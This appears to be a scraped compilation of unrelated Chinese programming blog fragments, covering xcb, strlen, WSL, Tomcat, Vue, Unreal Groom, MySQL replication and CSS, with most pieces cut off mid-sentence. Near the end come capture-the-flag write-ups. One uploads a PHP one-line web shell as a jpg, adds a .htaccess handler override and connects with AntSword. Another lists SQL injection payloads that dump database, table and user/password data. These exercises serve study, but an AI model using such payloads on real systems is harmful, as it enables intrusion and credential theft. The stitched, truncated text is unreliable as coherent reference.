xcb_query_extension 今天定位问题时发现, Xorg配置文件中配置了DRI3,但是应用程序通过xcb_query_extension查找却没有找到,根据xcb_query_extension的返回值xcb_query_extension_reply_t可以确定是否存在extension。
// request function xcb_query_extension_cookie_t xcb_query_extension(xcb_connection_t *conn, uint16_t name_len, const char *name); //reply function xcb_query_extension_reply_t *xcb_query_extension_reply(xcb_connection_t *conn, xcb_query_extension_cookie_t cookie, xcb_generic_error_t **e); xcb_query_extension_reply_t 各个字段的含义:
response_type
The type of this reply, in this case XCB_QUERY_EXTENSION. This field is also present in the xcb_generic_reply_t and can be used to tell replies apart from each other.sequence
The sequence number of the last request processed by the X11 server.length
The length of the reply, in words (a word is 4 bytes).
❤️函数剖析和模拟实现 文章目录 ❤️函数剖析和模拟实现💙 函数剖析💜 三种方法模拟实现strlen🏃 1、迭代的方法实现strlen👫 2、指针 — 指针👪 3、递归方法 💚 注意事项 💙 函数剖析 函数原型:
size_t strlen (const char* str)
头文件: <string.h>
作用(function): Get string length
翻译翻译: 获取字符串中位于\0之前的字符个数。
参数:const char* str
翻译翻译: 接收一个字符指针。
举例:
int main() { char str1[] = "abcdef"; //将字符串存入字符数组 char* str = "123456"; //str为指针变量,存放字符串首元素的地址 int len1 = strlen(str1); // 数组名为首元素地址,将其传给strlen int len2 = strlen(str); //将str传给strlen return 0; } 返回类型: size_t(无符号整型)
翻译翻译: 返回一个大于等于0的正整数。
💜 三种方法模拟实现strlen 🏃 1、迭代的方法实现strlen #include<assert.
2022/07/21更新 现在WSL2已经可以直接运行 Linux GUI 了!!!不再需要安装Xserver(XLaunch)之类的!!!
参考微软的官方教程:在适用于 Linux 的 Windows 子系统上运行 Linux GUI 应用
不过值得注意的是:
如果之前在.bashrc中设置了用于在Xserver的显示命令,需要取消掉!即:
#export DISPLAY=xxx.xx.x.xx:0.0 #export LIBGL_ALWAYS_INDIRECT= #export LIBGL_ALWASY_SOFTWARE=1 否则按照微软官方教程走下来,会发现运行gedit等程序会没有反应!!!
问题背景 系统:微软子系统WSL中的Ubuntu20.04
安装了Ros系统,为了在WSL上运行图形化程序,安装了Xserver,在测试ROS时发生了报错
主要是参考这篇文章
问题描述 在参考前面那篇文章运行rosrun turtlesim turtlesim_node命令时,出现错误:
qt.qpa.xcb: could not connect to display qt.qpa.plugin: Could not load the Qt platform plugin "xcb" in "" even though it was found. This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem.
1、Tomcat一般默认是80端口,如果你没有修改过端口,可以通过curl 127.0.0.1:80来测试Tomcat是否可以访问,如果返回界面信息,证明Tomcat启动成功。
2、使用top命令,如果你的项目是使用Tomcat来启动的,Linux中输入top命令,返回的列表如果有Java服务,说明你的Tomcat已经启动成功。
3、使用tail -f ./catalina.out查看,前提也是用Tomcat启动的项目
查看tomcat的logs目录下的catalina.out文件,看到末尾有
10-July-2022 18:32:40.203 INFO [main] org.apache.catalina.startup.Catalina.start Server startup in 30220 ms,说明启动成功。
4、使用ps -ef|grep tomcat命令,如果有Tomcat进程,说明Tomcat已经启动,但是也不能确定是否启动成功,需要配合操作查询是否可以访问界面。
5、使用wget+tomcat启动项目的访问地址
如果页面能够出现下载数据则tomcat可以正常访问。
6、使用Java的命令,Linux中输入jps -v,查看是否有Tomcat启动的pid,存在则代表Tomcat启动成功。
以上六种方法都可以查询Tomcat是否启动成功,更多的方法可以继续探索,其实每个人都有自己的一些操作习惯,有自己一套查询bug方法,只要是能适合自己快速定位解决bug都是好方法。
本文链接地址:http://www.ysxbohui.com/article/26
450报错:
450 TLS session of data connection has not resumed or the session does not match the control connection
解决办法:
去掉打勾选项:Require TSL session resumption on data connection when using FTP over TLS
Git hub ref: TLS session resumption missing / Authentication failed because the remote party has closed the transport stream · Issue #311 · robinrodricks/FluentFTP · GitHub
一般来说,做PC端的页面并不像移动端那样对分辨率及屏幕大小有的特别强的要求,但是针对数据大屏这种展示型的页面来说,就需要考虑适配的方案了,毕竟要尽可能的保证大部分的主流显示器都能正常展示。
市面上大部分的显示器几乎都是16:9的尺寸,也就是1920 * 1080的分辨率。
理想中的效果 当屏幕的尺寸比例刚好是16:9时,页面能刚好全屏展示,内容占满显示器
当屏幕的尺寸比例小于16:9时,页面上下留白,左右占满并上下居中,显示比例保持16:9
当屏幕尺寸比例大于16:9时,页面左右留白,上下占满并居中,显示比例保持16:9
当屏幕大小改变时,动态计算中间内容的显示比例大小,保证内容一直保持16:9
解决方案 rem rem(font size of the root element),是 css3 中新增的一个大小单位,即相对于根元素 font-size 值的大小。
思路就是动态的计算出页面的fontsize从而改变rem的大小。
思路 首先拿 1920 * 1080 的标准屏幕大小为例。将屏幕分为10份,先计算rem的基准值: 1920 / 10 = 192 ,然后把所有元素的长,宽,位置,字体大小等原来的 px 单位全部转换成 rem, 网页加载后,用 js 去计算当前浏览器的宽度,并设置 html 的 font-size 为 (当前浏览器窗口宽度 / 10),这样的话10rem就刚好等于浏览器窗口的宽度。也就可以保证100%宽度,等比例缩放设计稿的页面了。
两件事:
获得 rem 的基准值。这边默认设置容器宽度为1920 * 1080,然后用1920 / 192 来计算rem的值页面内写一段js代码,动态的计算html根元素的font-size 实现 站在巨人的肩膀上,我们不需要去从0到1去实现两个需求。
针对第一点:
首先安装 @njleonzhang/postcss-px-to-rem 这个包 npm i @njleonzhang/postcss-px-to-rem -D 复制代码 新建.postcssrc.js配置文件 module.exports = { plugins: { autoprefixer: {}, "
这里写目录标题 1、Vue项目遇到的问题2、问题分析3、解决办法 1、Vue项目遇到的问题 vue项目中出现如下报错:
2、问题分析 报错描述:渲染中出错:“RangeError:超过最大调用堆栈大小”
这个错误从报错信息上面看,和vue-router有关系,可能是堆栈溢出。
最后找到路由前置守卫中调取GenerateRoutes,而在GenerateRoutes中生成路由时,当捕获到不存在的页面自动跳转到 404 页面,但是在router中并没有配置/404路由,所以就报错了!
如下图:
3、解决办法 在路由中,把这个路径注册进去:
{ path: '/404', component: () => import('@/views/error/404'), hidden: true },
UE Groom Unreal engine Groom hair1、毛发渲染与模拟2、在项目中启用毛发项目设置插件浏览器 3、基本流程3.5、Alembic for Grooms规范目标曲线宽度 命名规则范围和优先权常规属性几何体参数 4、毛发材质4.25、生成Groom纹理流程1、在内容浏览器中右键单击Groom资产2、选择要创建的纹理类型:创建毛囊纹理(Create Follicle Texture) 和 创建发束纹理(Create Strands Texture) 毛囊纹理发束纹理 4.5、毛发资产编辑器显示(Show)细节面板1、细节层次2、插值3、发束面板4、发片面板5、程序化生成设置(实验性)6、网格体面板7、材质8、物理 4.75、毛发创建Xgen指南转换旧有XGen说明将导线转换为Numbs曲线将Groom转换为XGen交互式Groom 将样条说明导出到NURBS曲线创建属性创建组ID属性创建导线属性 将纹理应用于毛发UV 5、绑定毛发6、毛发物理与nigara7、毛发控制台命令8、已知限制 Unreal engine Groom hair 1、毛发渲染与模拟 groom毛发并不存在标准格式,在UE4.26中使用Alembic作为从DCC到UE的中转文件格式
Alembic是一个开源的计算机图形交换框架。Alembic将复杂的动画场景提炼成一套非程序化的、独立于应用程序的烘焙的几何结果。这种将场景提炼成烘焙的几何图形的做法,完全类似于将照明和渲染场景提炼成渲染的图像数据的做法。
Alembic专注于有效地存储复杂程序性几何结构的计算结果。他的重点不在于存储用于创建计算结果的程序性工具的复杂依赖图。例如,Alembic将有效地存储由任意复杂的动画和模拟过程产生的动画顶点位置和动画变换,这些过程可能涉及包络、修正形状、体积保留模拟、布和肉体模拟等等。
来源http://www.alembic.io/index.html
2、在项目中启用毛发 项目设置 启用支持皮肤计算缓存 (Support Compute Skin Cache)
插件浏览器 在插件浏览器中启用
Alembic Groom ImporterGroom
3、基本流程 3.5、Alembic for Grooms规范 目标 1、定义梳理专有的非正式Alembic元数据模式,以便将毛发导入虚幻引擎。
2、检查UE4支持的毛发相关属性,并将这些属性映射到Alembic。
曲线 从标准Alembic曲线模式中读取毛发的常规形状:
Alembic::AbcGeom::ICurves 宽度 根据此规范导出的Groom属性让导入程序在构建Groom时能够检索和使用这些属性。但是,宽度属性没有特殊行为。例如,在Maya等DCC应用程序中,宽度数值直接导出到曲线行,因此不需要导出自定义的 groom_width 属性;导入程序将会把Maya的宽度数值转换成 groom_width 属性。值得注意的是,如果你的Groom中存在 groom_width 属性,那么在导入期间不会被覆盖。如果未指定 groom_width 属性,或者无法从宽度数值转换为该属性,虚幻引擎中的构建器将会后退,使用1厘米来作为宽度值。
使用以下命令可为每个ICurve存储曲线宽度:
(GeometryScope::kConstantScope) 使用以下命令可为每个曲线存储曲线宽度:
(GeometryScope::kUniformScope) 使用以下命令可为每个cv存储曲线宽度:
目前市面上的大部分手机都取消了3.5mm音频耳机接口,仅保留一个Type-C接口,但是追求音质和零延迟的用户仍然会选择3.5mm有线耳机,因为在玩手机游戏的时候,音画不同步真的很影响游戏体验,所以Type-C转3.5mm接口线应运而生。
有需求就有市场,这款Type-C转3.5mm接口线刚推出就火爆了手机配件市场,简单好用而且很好的解决了用户的痛点,订单自然不会少。但是过了不久,用户反馈听歌的问题是解决了,但是手机充不了电,这又产生了新的痛点,不少厂家很快也发现了这个问题,谁能先解决这痛点,谁就能快人一步抢占市场,大家都想做第一个吃螃蟹的人,于是第二代音频转接器很快研发了出来!
音频转接器一共三个接口,一端type-c公头连接手机设备,一端type-c母座连接适配器,一端3.5mm音频接口连接耳机,看似简单其实里面集成了很多高新技术。
加入充电的初衷起因是用户在玩手机游戏的时候,电量消耗的特别快,只连接耳机的时候根本无法充电,所以使用这款音频转接器就能实现边玩边充,音频充电两不误,很好的解决了用户的痛点。
当你不需要充电的时候,仅仅插耳机也是不影响使用的。
接下来我们看看到底是如何实现边充电边听歌的呢?我们研究了几款产品,拆开发现里面主要的IC芯片有两个,一个是音频芯片负责数字信号转模拟信号给耳机输出音频,另一个是PD协议芯片,负责与手机进行PD协议通讯。
首先我们先了解一下PD协议里边充电边听歌的原理,手机和PD协议芯片都属于DRP,是双角色端口。在没做角色切换之前,sink(受电方)只能是UFP(从机),source(供电方)只能是DFP(主机),例如手机接U盘的时候,手机作为source(供电方),U盘作为sink(受电方),所以手机会放电给U盘使用。
虽然说只是做角色切换就能实现边充电边听歌,但是目前市面上的手机型号五花八门,而且不少手机的PD协议做的并不规范,在角色切换过程中出现的问题也千奇百怪,目前常规做法有两种:
为了更直观了解,我们用协议分析器对边充电边听歌的手机抓取了PD协议过程,用的是赛普拉斯的PD协议分析仪:
OPPO与vivo系列的手机做边充电边听歌角色切换的时候,如果强制做PR_Swap可能会导致手机死机重启等问题,所以这里芯片选择CC断开重连让CC置高,让芯片做source(供电方)和DFP(主机),然后再做DR_Swap,只切换数据角色。
总结:
这里测试的PD协议芯片是来自乐得瑞科技的LDR6028,这款PD协议芯片针对 USB Type-C 标准中的 Bridge 设备而开发的 USB-C DRP 接口 USB PD 通信芯片。 可以实现切换 Data Role 功能,提供予智能设备(电脑,平板,手机) PDO 及 REQUEST 协商,自动进行 DR_SWAP 转为 UFP 模式。
LDR6028特点:
SOP-8 封装,外围精简
支持 USB PD 2.0,兼容 USB PD 3.0
提供予智能设备(电脑,平板,手机) 5V PDO 及 REQUEST 协商
自动进行 DR_SWAP 转为 UFP 模式
主要应用场景:
1.USB TYPE-C 转接器
2.USB Type-C HUB
部分原理图:
问题背景 最近在学习高翔博士的经典教程《视觉SLAM十四讲(第2版)》,使用其配套的Github中C++代码进行学习,在调试时发现断点无效、错位的问题,查阅了一些资料,成功解决,记录一下。
编辑器:VSCode
操作系统:Ubuntu20.04
调试方式:cmake + make
关于在VScode中调试C++代码的教程,可以参考这个:Linux下使用VS Code + CMake 调试c++程序
问题描述 在最开始的时候,CMakeLists.txt中设置成了发布模式(Release),设置断点后,调试时断点无效,即无法在任何断点处停下,而在CMakeLists.txt中设置set(CMAKE_BUILD_TYPE "Debug")后,调试时能够停下,但是没有在断点处停下,而是在别的地方,如下图所示:
从这张图可以看到,断点设置在42行,但调试时却停在46行的for循环入口处,显然不是我们想要的。
更离谱的是,在某些位置,调试前断点设置在某行,调试时断点却出现在别的地方,如下图所示,调试开始前设置的断点位置:
调试时的断点位置:
可以看出,调试前断点在92行,调试开始后断点却在95行,后来查阅资料才发现,这是代码编译优化导致的。
解决方法 在VScode中使用cmake + make 方式调试C++代码时,想要正常进行断点调试,在CMakeLists.txt文件中需要注意以下两点:
设置为"Debug"模式:set(CMAKE_BUILD_TYPE "Debug"),如果设置为"Release"模式,设置断点后在调试时是默认无效的,进入调试后,断点会变为空心断点,程序不会在任何断点处停下。取消代码编译优化:一定要注释掉set(CMAKE_CXX_FLAGS "-O3")(或不写),否则“任何级别的优化都将带来代码结构的改变,将会使目标代码的执行顺序变得面目全非,导致调试信息严重不足。” 综上,在CMakeLists.txt中设置如下:
set(CMAKE_BUILD_TYPE "Debug") # set(CMAKE_CXX_FLAGS "-O3") 调试时能够在断点处正常停止:
问题成功解决。
参考文章 Linux下使用VS Code + CMake 调试c++程序CMake指令解析 set(CMAKE_CXX_FLAGS “$ENV{CXXFLAGS}添加链接描述gcc -O0 -O1 -O2 -O3 四级优化选项及每级分别做什么优化
1、首先创建一个编辑器EditorDemo类,继承JFrame类,具体实现编码如下:
2、创建菜单栏,新增各个菜单项,比如文件、编辑、帮助等功能,新增createJMenuBar方法如下:
/** * 创建菜单栏 * @param actions * @return */ private JMenuBar createJMenuBar(Action[] actions) { JMenuBar menubar = new JMenuBar(); //实例化菜单栏 JMenu menuFile = new JMenu("文件"); //实例化菜单 JMenu menuEdit = new JMenu("编辑"); JMenu menuAbout = new JMenu("帮助"); menuFile.add(new JMenuItem(actions[0])); //增加新菜单项 menuFile.add(new JMenuItem(actions[1])); menuFile.add(new JMenuItem(actions[2])); menuFile.add(new JMenuItem(actions[7])); menuEdit.add(new JMenuItem(actions[3])); menuEdit.add(new JMenuItem(actions[4])); menuEdit.add(new JMenuItem(actions[5])); menuAbout.add(new JMenuItem(actions[6])); menubar.add(menuFile); //增加菜单 menubar.add(menuEdit); menubar.add(menuAbout); return menubar; //返回菜单栏 } 3、创建工具条,比如:新建、打开、剪切、保存、拷贝等功能,新增createJToolBar方法
/**
* 创建工具条
* @param actions
首先需要准备好环境:npm、nodejs和git,注意git是必要的,可以在控制台查看已安装的git版本
准备好环境后,在项目终端输入npm install安装依赖,结果控制台报错,安装失败,失败的原因可能是网络问题或是安装"tui-editor"库的依赖安装超时导致的,以下是我的解决过程,仅供参考:
vue-element-admin\package.json 删除 "tui-editor": "1.3.3", vue-element-admin\src\components 删除 MarkdownEditor 文件夹 vue-element-admin\src\views\components-demo 删除 markdown.vue 文件 vue-element-admin\src\router\modules components.js 删除 {path: 'markdown',...} //npm cache clean --force //npm install cnpm //npm install core-js@3 --save //cnpm install cross-env 这四个没有用到,如果解决不了在运行的 npm install npm run dev 如果在项目中没有用到markdown这个组件,可以把这个从package.json中移除,不安装"tui-editor"库的依赖,删完后,不过我到这一步后,终端运行npm install还是显示报错
git clone -b i18n https://gitee.com/panjiachen/vue-element-admin.git 先使用git尝试下载相应的包,然后再npm install,结果还是不行
既然这样那就尝试下官方不太推荐使用的cnpm吧,先再控制台配置淘宝镜像,再使用cnpm install试试看
npm i -g mirror-config-china --registry=https://registry.npm.taobao.org cnpm install 可以看到这边已经显示安装依赖成功了!那么直接那npm run dev运行一下试试看,结果控制台报错提示缺少corejs,那我们就再安装上去吧
npm install --save core-js 最后再来运行一下吧
可以看到项目已经跑起来了
1. master配置 1. 主库my.cnf配置 [mysqld] log-bin=mysql-bin #开启二进制日志 server-id=100 #设置server-id,设置为当前ip的最后一个段的数字,这样不会乱 binlog-do-db=sakzss #需要同步的数据库,不在内的不同步。(不添加这行表示同步所有) binlog-ignore-db=performance_schema 配置完成后重启mysql
2. 配置mysql用户 mysql命令行下配置用户 CREATE USER 'slave'@'%' IDENTIFIED BY '密码';#创建用户 GRANT REPLICATION SLAVE ON *.* TO 'slave'@'%';#分配权限 flush privileges; #刷新权限 查看master状态 SHOW MASTER STATUS; 2.从库配置 docker快速新建从库命令
docker run -p 3307:3306 --name mysql-xxx -v $PWD/conf:/etc/mysql/conf.d -v $PWD/logs:/logs -v $PWD/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=xxx -d mysql:5.7 配置my.cnf设置从库id [mysqld] server-id=110 #设置server-id,192.168.0.110 slave_skip_errors=1062 #跳过主键冲突 Duplicate entry gtid_mode=on #开启gtid enforce_gtid_consistency=on #如果需要同步的数据库名相同 replicate-do-db=zxkang_sync #需要同步的数据库名。如果不指明同步哪些库,就去掉这行,表示所有库的同步(除了ignore忽略的库)。 #如果需要同步的数据库名不同 replicate-rewrite-db=zxkang_sync->test # master 上的数据库名为 zxkang_sync , slave 上的库名为 test replicate-ignore-db=mysql #不同步mysql系统数据库 slave-skip-errors = all #跳过所有的错误错误,继续执行复制操作 配置完成后重启服务。
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no"> <title></title> <style> .cont { padding: 5px; border-radius: 4px; border: 1px solid pink; display: inline-block; background: rgb(220, 220, 220); } .light {/**通用红绿灯样式*/ width: 30px; height: 30px; border-radius: 50%;/**制造圆形,正圆*/ transition: all .4s ease-in-out;/**设置过渡动画,css3.当状态有变化时,400ms将变化逐渐过渡。因为后边只有透明度有变化,所以在这里设置all 或者 opacity 都是可以的*/ display: inline-block;/**行内块儿元素,为了三个灯在一行内。也可以不设置。那就是三个灯竖排。元素排列在这个例子中不是重点,不做赘述*/ margin: 0 2px;/**元素横向外间距*/ } .green { background: green;/**背景色设置绿色,标记绿灯*/ } .yellow { background: yellow;/**背景色设置黄色,标记黄灯*/ } .red { background: red;/**背景色设置红色,标记红灯*/ } .off { opacity: 0.3;/**30%的透明度,表现灯处于灭的状态。不设置这个值的时候,默认是1.0(不透明)*/ } </style> </head> <body> <div class="
文章目录 CSS的基础知识css概念css书写位置基础选择器标签选择器id选择器类选择器通配符 * 高级选择器后代选择器(包含选择器)交集选择器并集选择器选择器优先级 继承性和层叠性 CSS属性文本盒子模型边框边框的复合写法表格细线边框内边距paddingpadding复合属性写法外边距margin清除内外边距 圆角边框圆角边框的一般使用 盒子阴影(重要)文字阴影 浮动什么是浮动浮动特性---脱标浮动特性---浮动元素一行显示浮动特性---浮动元素具有行内块特性浮动元素经常搭配标准流的父元素浮动布局练习1浮动布局练习2 常见的网页布局浮动注意的两个点为什么要清楚浮动清楚浮动的本质及额外标签法清楚浮动之父元素overflow清楚浮动元素之after伪元素清除浮动之双伪元素 定位定位模式边偏移静态定位static(了解)相对定位relative(重要)绝对定位absolute(重要)子绝父相固定定位fixed(重要)固定定位小技巧:固定在版心右侧位置 粘性定位sticky(了解)定位叠放次序z-index 定位的拓展1、绝对定位水平垂直居中2、定位的特殊特性 显示隐藏元素display显示隐藏元素visibility显示隐藏元素overflow显示隐藏元素 土豆案例精灵图字体图标用户界面鼠标样式图片底侧空白缝隙解决单行文字溢出省略号显示多行文字溢出省略号显示布局技巧-文字环绕浮动元素 CSS的基础知识 css概念 css:cascading style sheets,层叠式样式。规定了html标签在网页上的显示样式。前端三层:
1、html 结构层,打网页的整体骨架。
2、css 样式器,装饰页面
3、Javascript 行为层,一些页面的交互效果。css作用
1、css两个重要的概念:层叠式,样式。
2、样式:html标签在页面的显示效果。某一标签有什么样式,直接将对应的属性及属性值罗列出来。
3、css样式设置的时候,有两个关键:选择器,样式表。 css作用细化:
1、给文本添加文字显示样式。
2、给盒子添加属性进行结构布局。 css的几个小样式 文本样式:字体,颜色,大小。
1、大小:font-size。本身是一个复合属性font,里面的单一属性,需要用font-单一属性名。
属性值,以像素为单位。
2、颜色:color。属性值有几种选择方案:十六进制、RGB、RGBA、颜色名(英文)。
3、字体:font-family。复合属性的一个单一属性,中文字体和英文字体。
书写的时候将英文写在前面,中文字体写在后面。
中文字体:默认为宋体,常用字体有宋体,微软雅黑。 字体用引号包裹,字体直间用逗号隔开,表示或。
1、为了追求加载速度,将一些中文字体名字写成英文表示法。
微软雅黑:Micro Yahei
宋体:SimSun 盒子实体化属性 实体化:将盒子给宽、高、背景色、边框。 宽度:width。属性值像素为单位。高度:height。属性值像素为单位。背景色:background-color。属性值就是颜色色值。边框:border。复合属性,有多个属性值,属性直间用空格隔开。边框的宽度,颜色,线的类型。 css书写位置 根据书写css书写位置的不同,将我们的样式分为:行内式、内嵌式、外链式。
行内式
1、写在标签内部,css属性写在标签style的属性里,可以书写他的所i有css样式。 <!DOCTYPE html> <html> <body> <h1 style="color:blue;text-align:center;">This is a heading</h1> <p style="color:red;">This is a paragraph.</p> </body> </html> 内嵌式
BUUCTF刷题Web篇 文章目录 BUUCTF刷题Web篇前言一、[MRCTF2020]Ez_bypass二、[极客大挑战 2019]BuyFlag三、[MRCTF2020]你传你🐎呢htaccess是什么 总结 前言 继续记录之前无脑刷过的web题
一、[MRCTF2020]Ez_bypass 打开靶机是一串代码:
因为html 渲染过程中是不会把\n当做回车展示的,所以右键查看源代码,瞬间舒服了:
我愿称这道题的考点是“代码审计”
读代码可知拿到flag只需要满足俩条件:
1.让以get方式传参的两个变量gg和id满足md5后的值强比较相等,本身的值弱比较不相等
2.以post方式传参的变量password不是数字并且与数字1234567弱比较相等
由此,在url后追加?id[]=1&gg[]=2就可以显示“You got the first step”的提示。但passwd参数还没有传,此时需要借助浏览器插件HackBar以post方式传入passwd=1234567a
因为我只在火狐浏览器安装了HackBar这个插件,所以post这一步用的是火狐浏览器,在url中通过get方式传入满足条件的gg和id后,再用post方法传参passwd=1234567a即可让网页显示出flag。这里如果不借助浏览器插件的话我不知道如何还能在get传参的同时进行post传参。
总结:
1.给数组类型的变量赋值不同的数值,可以满足变量的md5值在进行强比较时相等,又满足他们自身的值在进行弱比较时不相等。
2.在数字后面加个字母,就不再是数字但又可以满足和数字做弱比较时相等。
二、[极客大挑战 2019]BuyFlag 这道题,考的是脑洞和经验?因为要去看请求包和响应包来找到提示信息。
1.打开题目靶机链接,看到的是这样一个网站主页。看到右上角有一个menu,点击pay flag(因为题目叫buy flag)
2.打开后是这样子,有几句提示,要满足要求才能得到flag,要求是:是CUIT的学生,还要输入正确的密码。
3.问题是如何传参呢?get还是post?又要如何pay money?而且网页显示要100000000这么多感觉必有蹊跷!~
反正我是没招了,去看别人wp,原来是要去看请求包和响应包……只能极其不情愿地打开了代理和burp……(喂!有没有一种可能,是无论要工作还是做题,都先打开这些再说?)
于是抓包如下,重要之处都标注了出来。首先,是不是CUIT的学生就相当于验证身份,cookie这里是user=0,无法通过身份认证,想到尝试将0改成1;然后,返回包中的注释给出了对password的要求,可以看到要用post传入password,还要满足password不是数字并满足和数字404弱比较相等。
将请求报文放入重发器,改变请求方式为post,cookie改为user=1,在请求正文中填入password=404a(这里可以联想到上次做的题也是1234567a不是数字但又和数字1234567弱比较相等)
发送请求包,在返回包中已经可以看到身份认证通过和密码正确的提示,但又提示还没有pay for flag。那就继续尝试再在请求正文后面添加一个money=100000000呗,结果说数字太长,那就用科学计数法,1e8还说钱不够(还骂我是loser!气气!!我还想说他那个数字太长了的提示,应该是number不是nember!)用10e8或1e9才可以。真是忘了这科学计数法到底咋表示了,唉。但是……网站上确实是1后面8个0啊,拿到flag却要9个0……
其实是道挺简单的题,以后没地方入手就抓抓包看看。以及,这道题通过看别人的wp得知,password=404%20也可以,money[]=1也可以。
三、[MRCTF2020]你传你🐎呢 这题目的名字,emmm
倒是一看就能猜到应该是文件上传了
打开靶机链接是这个样子的,我不知道这是什么梗
因为类似的题上一篇已经写过了,这里就简写。这道题也是只能上传非php后缀的文件,然后再上传.htaccess文件,使服务器端将jpg看做php。
上传jpg格式的一句话木马:
上传.htaccess时拦截包,修改文件类型为image/jpeg:
.htaccess里写的内容:SetHandler application/x-httpd-php
上传1.jpg和.htaccess成功后,就可以用中国蚁剑连接了
url地址是:靶机的url/upload/随机生成的一串数/1.jpg(即一句话木马文件上传到的路径)
密码是写在1.jpg里的111
测试连接,显示连接成功,点击添加,在服务器端的根目录可以找到flag
这次补充一下关于.htaccess的知识:
以下段落转自:https://www.cnblogs.com/adforce/archive/2012/11/23/2784664.html
htaccess是什么 .htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
总结 这次没有总结
点击【svn】->【Subversion】->【show History】
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
ctfshow-web入门-sql 题目一、web171二、web172三、web173四、web174五、web175六、web176七、web177八、web178九、web179十、web180十一、web181十二、web182 题目 一、web171 1.万能密码
1’or’1’='1
2.闭合查询语句
9999’ or id = 26’
二、web172 1’ order by 2 --+
1’ union select 1,2 --+
1.爆数据库
1’ union select database(),2 --+
1’ union select 1,(select group_concat(schema_name) from information_schema.schemata) --+
2.爆表名
1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘ctfshow_web’) --+
3.爆字段
1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘ctfshow_user2’) --+
4.爆数据
1’ union select group_concat(username),group_concat(password) from ctfshow_web.ctfshow_user2 --+
5.另外一种
众所周知在前端开发中,存在精度丢失问题,既经典问题
let a = 0.1 let b = 0.2 console.log(a + b == 0.3) //返回false 本文就不分析为什么会造成此原因,只提供解决方法
解决思路就是将所有的浮点数替换成整数模式进行 加(+)减(-)乘(*)除(/),具体代码如下:
/** * 数字相加 * @param {*} arg1 * @param {*} arg2 * @returns */ function accAdd(arg1, arg2) { return changeNum(arg1, arg2) } /** * 数字相减 * @param {*} arg1 * @param {*} arg2 * @returns */ function accSub(arg1, arg2) { return changeNum(arg1, arg2, false) } /** * 数字相乘 * @param {*} arg1 * @param {*} arg2 * @returns */ function accMul(arg1, arg2) { let m = 0; m = accAdd(m, getDecimalLength(arg1)) m = accAdd(m, getDecimalLength(arg2)) return getNum(arg1) * getNum(arg2) / Math.
给你一个字符串 s ,字符串的「能量」定义为:只包含一种字符的最长非空子字符串的长度。
请你返回字符串 s 的 能量。
示例 1:
输入:s = “leetcode”
输出:2
解释:子字符串 “ee” 长度为 2 ,只包含字符 ‘e’ 。
示例 2:
输入:s = “abbcccddddeeeeedcba”
输出:5
解释:子字符串 “eeeee” 长度为 5 ,只包含字符 ‘e’ 。
题解 循环往后遍历,记录连续出现最多的次数
/** * @param {string} s * @return {number} */ var maxPower = function(s) { let len = s.length,num = 1,count=1 for(let a = 0; a < len; a++){ if(s[a] === s[a+1]){ num++ }else{ count = Math.
有以下item_info表(含字段item_id,item_price及category信息),那么如何输出item_price大于10小于50的全部字段呢?
item_info[(item_info['item_price'] >=10) & (item_info['item_price']<50)] e.g.取价格>=10,品类为Audio的数据
item_info[(item_info['item_price'] >=10) & (item_info['Category']=="Audio")]
目录 一、node获取数据-爬虫1. 问题分析2. 初始化3. 安装axios4. 后端引入axios5. 模拟浏览器获取数据6. 返回数据到前端7. 将数据渲染到html页面8. 下载html页面的图片 二、小说爬虫1. 单个页面爬取2. 整个小说爬取 一、node获取数据-爬虫 1. 问题分析 第三节中我们可以在自己的后端设置跨域而访问数据,如果我们要获取别人的数据呢?
比如我们打开baidu搜索图片:
通过上图我们可以获得该页面图片的源码请求URL,复制粘贴该url到浏览器搜索得到源码:
我们可以随便选择一张图片的地址,并复制该地址在浏览器中搜索查看:
图片地址在预览中的位置:data -> xx(数字下标) -> replaceUrl -> 0 -> ObjURL
复制该地址在浏览器中搜索查看:
但是我们如果将该图片地址复制到我们写的html页面用axios发起请求可以获得这张图片吗?
答案是否定的,因为跨域问题。我们不可能去修改baidu的后端,那怎么解决呢?
解决方法:通过我们自己的后端去访问数据,因为后端是不存在跨域问题的。通过我们自己的后端模拟浏览器获取数据之后再返回给我们的前端。而我们知道axios可以作用于node和浏览器中,所以我们使用node通过axios获取数据。
2. 初始化 通过npm init -y 初始化生成json文件:
3. 安装axios npm i axios -S 4. 后端引入axios const axios = require("axios"); 5. 模拟浏览器获取数据 模拟浏览器,即我们自己的后端通过响应头发送信息告诉baidu后端我们的node是一个浏览器(这里的浏览器相当于后端,没有跨域问题)。
找到baidu的请求标头中的User-Agent和请求标头Accept复制到后端node的header中:
访问地址为标头中的请求URL:
所以js文件代码为:
